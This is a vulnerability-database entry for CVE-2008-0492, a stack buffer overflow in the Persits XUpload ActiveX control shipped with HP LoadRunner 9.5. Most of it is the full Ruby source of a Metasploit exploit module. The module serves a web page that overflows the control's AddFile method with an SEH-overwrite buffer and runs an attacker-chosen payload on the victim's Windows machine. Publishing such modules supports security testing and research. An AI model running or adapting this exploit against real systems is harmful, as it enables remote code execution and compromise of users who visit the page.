Persits XUpload ActiveX AddFile Buffer Overflow

🗓️ 13 Nov 2009 18:09:50Reported by jduck <[email protected]>Type

Persits XUpload ActiveX AddFile Buffer Overflow in HP LoadRunner 9.5 allows remote attackers to execute arbitrary code via a long string to the AddFile metho

Reporter	Title	Published	Views	Family All 7
circl	CVE-2008-0492	9 May 201000:00	–	circl
cve	CVE-2008-0492	30 Jan 200821:00	–	cve
cvelist	CVE-2008-0492	30 Jan 200821:00	–	cvelist
exploitdb	Persits XUpload - ActiveX AddFile Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
nvd	CVE-2008-0492	30 Jan 200822:00	–	nvd
packetstorm	Persits XUpload ActiveX AddFile Buffer Overflow	31 Dec 200900:00	–	packetstorm
prion	Stack overflow	30 Jan 200822:00	–	prion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Persits XUpload ActiveX AddFile Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Persits Software Inc's
        XUpload ActiveX control(version 3.0.0.3) thats included in HP LoadRunner 9.5.
        By passing an overly long string to the AddFile method, an attacker may be
        able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2008-0492'],
          [ 'OSVDB', '40762'],
          [ 'BID', '27456' ],
          [ 'EDB', '4987' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'XUpload.ocx 3.0.0.3 on Windows XP SP3 / IE6 SP3',
            {
              'Ret' => 0x10019d6e # pop/pop/ret @ XUpload.ocx
            }
          ],
        ],
      'DisclosureDate' => '2008-01-25',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit = rand_text_alpha(738)
    sploit << generate_seh_payload(target.ret)
    sploit << p.encoded
    sploit << rand_text(1000) * 25
    sploit = Rex::Text.to_unescape(sploit)

    # Build out the message
    content = %Q|<html>
<script language='javascript'>
function check()
{
#{strname} = new String(unescape("#{sploit}"));
#{vname}.AddFile(#{strname});
}
</script>
<body onload='javascript:check()'>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='#{vname}'></object>
</body>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

10High risk

Vulners AI Score10

CVSS 26.8

EPSS0.29518